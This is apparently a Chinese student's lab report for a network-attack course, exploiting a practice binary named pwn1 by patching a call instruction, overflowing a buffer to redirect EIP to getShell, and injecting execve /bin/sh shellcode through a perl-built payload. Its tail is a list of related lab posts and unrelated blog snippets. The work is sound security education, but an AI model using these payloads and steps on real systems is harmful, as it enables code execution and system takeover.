一.实验目标:

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  三个实践内容如下:

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    注入一个自己制作的shellcode并运行这段shellcode。

  这几种思路,基本代表现实情况中的攻击目标:

    运行原本不可访问的代码片段

    强行修改程序执行流

    以及注入运行任意代码。

二.基础指令:

  objdump -d:反汇编目标文件中包含的可执行指令。

  call+地址 是说这条指令将调用位于地址处的函数

  gdb info 查看寄存器的数值

  \x0a表示回车

  xxd:进行十六进制的输出,也可以将十六进制输出转换为原来的二进制格式。

三.直接修改机器指令

  先使用objdump指令查看反汇编代码

  call后面表示要跳转的地址,表示main函数跳转到foo函数处

  我们想要修改地址,跳转到getshell函数中,机器指令e8后的地址即可,直接修改为为c3即完成跳转地址转变

  

  运行结果如下:

  

  四.构造输入函数,进行bof攻击:

  先确认那几个字符会覆盖返回地址,这里使用一个40bit的字符串来进行探测

  

  

  通过前后对比EIP寄存器的地址,发现字符串中的1234字段覆盖了地址,那么只需要在对应的位置将其进行eip地址的覆盖修改

  同时,验证字符串11111111222222223333333344444444\x7d\x84\x04\x08的准确性

  最后,将字符串注入,完成攻击

  五.注入shellcode并执行

  首先先确认堆栈,文件堆栈可执行,关闭地址随机化,防止地址的变化

  构造payload:使用命令perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  用A来填满缓冲区,以确认,寻找字符串中对应的的4个字节

   输入命令  (cat input_shellcode;cat) | ./20165335 注入攻击bof

   在另外一个终端进行gdb调试,先使用 ps -ef | grep 20165335寻找进程号

   用attach 命令调用·进程

   同时,反汇编,在函数return  esp指针变化执行后的ret语句出,设置断点

   使用info r esp 查看esp寄存器的值,找出shellcode的地址(地址就在指针的后面)

   最后,将找到的4个字节的地址填充进去,完成注入,再次运行程序,实现攻击

六. 实验收获与感想

  在此次实验中,我感受到了实验原理的重要性,经过刘老师的原理讲解,使得在实验中思路清晰,知道现在自己在做什么,这样做的目的是什么,使得在过程中,清晰明了,

  也经过实验,更深刻的认识到了其中的原理以及eip寄存器,地址等在内存的实际变化,受益匪浅。

漏洞,就是能够使得恶意代码,经过各种非正常的方式注入计算机,并进行运行的计算机运行bug。

漏洞可以使得计算机按照其他人的指令,操作进行运行,可以使得恶意代码不经过各种安全方式运行程序,从而执行shellcode,破坏计算机

NOP 机器码90:NOP指令为空指令,计算机不进行任何操作

JNE 机器码75:条件转移指令,对比是否相等,不相等就跳转

JE 机器码74 :条件转移指令,对比是否相等,相等就跳转

JMP:无条件转移指令。

  段内直接短转 机器码:EB

  段内直接近转移Jmp near 机器码:E9

  段内间接转移 Jmp word 机器码:FF

  段间直接(远)转移Jmp far 机器码:EA

CMP:比较指令,对标志寄存器产生影响

  

2017-2018-2 『网络对抗技术』Exp1:PC平台逆向破解 20165335的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

  10. 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解 实验内容及步骤 第一部分:直接修改程序机器指令,改变程序执行流程 关键:通过修改call指令跳转的地址,将原本指向被 ...

随机推荐

  1. dbconfig.properties

    jdbc.driver=com.mysql.jdbc.Driver jdbc.url=jdbc:mysql://localhost:3306/数据库名 jdbc.username=root jdbc. ...

  2. tp 5.0 mysql 事物

    mysql  默认 MyISAM存储引擎,不支持事物处理,InnoDB存储引擎提供了具有提交.回滚和崩溃恢复能力的事务安全.但是对比Myisam的存储引擎,InnoDB写的处理效率差一些并且会占用更多 ...

  3. Git 简单入门(一)

    Git 简介 Git 是目前世界上最先进的分布式版本控制系统 分布式和集中式 集中式版本控制系统 版本库放在中央服务器,干活之前先从中央服务器取得最新版本,然后开始干活,活干完后将自己干的成果推送给中 ...

  4. es6 ...克隆与函数深度克隆

    es6的...运算, 可以进行一层的深度克隆; 在多层的情况下,不要用这种啊. 用深度克隆函数,或者JSON.parse(JSON.stringify(obj)),但json方式要求不能有属性值是函数 ...

  5. tomcat端口冲突,关闭端口方法

    CMD打开控制台 输入:netstat -ano | findstr 8080 //最后一行的进程号PID 输入:taskkill /F /PID 所要关闭的PID号 如图所示 之后会补充

  6. poj 3422 最小费用流

    如果不是从费用流区做这个题几乎不会想到用费用流 点有权值很容易想到拆点 问题是求最大sum ...  把权值取负 这样最小费用流的相反数就是最大sum 源点S汇点T k为移动次数 矩阵中的点拆成入点出 ...

  7. 01背包 || BZOJ 1606: [Usaco2008 Dec]Hay For Sale 购买干草 || Luogu P2925 [USACO08DEC]干草出售Hay For Sale

    题面:P2925 [USACO08DEC]干草出售Hay For Sale 题解:无 代码: #include<cstdio> #include<cstring> #inclu ...

  8. vue table 固定首列和首行

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name ...

  9. foreach next 操作数组指针移动问题

    2018年10月20日10:39:40 先说结论,foreach 维护的是一套属于自己的数组指针 会在操作数据的时候,分裂一套变量地址,即使你强制使用 & 取地址一样会分裂,不会引用同一套指针 ...

  10. 第二单元电梯调度作业 By Wazaki

    figure:first-child { margin-top: -20px; } #write ol, #write ul { position: relative; } img { max-wid ...